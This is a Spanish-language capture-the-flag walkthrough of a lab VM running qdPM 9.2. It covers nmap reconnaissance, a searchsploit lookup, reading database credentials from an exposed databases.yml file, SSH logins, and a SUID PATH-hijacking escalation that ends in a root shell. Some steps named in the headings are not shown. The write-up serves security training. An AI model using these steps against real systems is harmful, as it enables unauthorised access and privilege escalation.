Remote connection to the MYSQL service and obtaining user credentials
SSH brute force with Hydra
Abusing relative paths in a SUID binary - Path Hijacking [Privilege Escalation]
Metodologia:
Hacemos el primer reconocimiento con nmap:
//
❯ nmap -T4 -sS -Pn -n -p- --open 192.168.1.141 -oN FirstScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 16:18 EDT
Nmap scan report for 192.168.1.141
Host is up (0.00084s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
33060/tcp open mysqlx
MAC Address: 00:0C:29:03:0F:2F (VMware)
Hacemos un escaneo detallado de los puertos abiertos:
//
nmap -T4 -sS -Pn -n -sVC -p22,80,3306,33060 192.168.1.141 -oN sVcScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 16:20 EDT
Nmap scan report for 192.168.1.141
Host is up (0.00056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
| 256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_ 256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0
7b:8e (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.48 (Debian)
3306/tcp open mysql MySQL 8.0.26
| mysql-info:
| Protocol: 10
| Version: 8.0.26
| Thread ID: 39
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, ConnectWithDatabase, Speaks41ProtocolOld, SupportsCompression, LongPassword, IgnoreSpaceBeforeParenthesis, LongColumnFlag, Speaks41ProtocolNew, IgnoreSigpipes, InteractiveClient, SupportsLoadDataLocal, ODBCClient, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: \x08l\x1F3w=}J<0A\x0Ec'Z\x19\x0E\x02
|_ Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after: 2031-09-23T10:47:29
|_ssl-date: TLS randomness does not represent time
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
Vemos lo que corre en el puerto 80 (captura):
Vemos que es un servicio web de qdPM en version 9.2 , revisamos si hay alguna vulnerabilidad asociada en searchsploit:
//
❯ searchsploit qdPM 9.2
Exploit Title | Path
qdPM 9.2 - Cross-site Request Forgery (CSRF) | php/webapps/50854.txt
qdPM 9.2 - Password Exposure (Unauthenticated) | php/webapps/50176.txt
Shellcodes: No Results
Conseguimos dos exploitsm utlizaremos el numero 2, al abrirlo
nos indica que la password se almacena en un subdominio en
particular YML el cual al ejecutarlo se nos descargara en la
maquina y podriamos acceder:
The password and connection string for the database are
stored in a yml file. To access the yml file you can go
to http:///core/config/databases.yml file and download.
//
❯ ssh travis@192.168.1.141
Last login: Sat Sep 25 14:55:01 2021 from 192.168.1.7
travis@debian:~$ ls
user.txt
travis@debian:~$ cat user.txt
ICA{Secret_Project}
Nos convertimos en Dexter ahora:
//
travis@debian:/home/travis$ su dexter
Password:
dexter@debian:
Descubrimos una nota:
dexter@debian:/home/travis$ cd
dexter@debian:/home/dexter$ ls
note.txt
dexter@debian:/home/dexter$ cat note.txt
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
Básicamente la nota nos indica que debemos explotar un SUID:
Podemos aprovecharnos de que esta ejecutando Cat para hacer un pathhijacking, vamos a los archivos temporales del sistema y nos creamos nuestro propio cat para despues darle permisos de ejecucion,
y cambiar el path para que se ejecute primero por la ruta TMP:
//
dexter@debian:/tmp$ /opt/get_access
All services are disabled. Accessing to the system is allowed only within working hours.
dexter@debian:/tmp$ bash -p
bash-5.1# cd /root
bash-5.1# ls
root.txt system.info
Volvemos el PATH a la normalidad para que nos deje observar la ultima flag: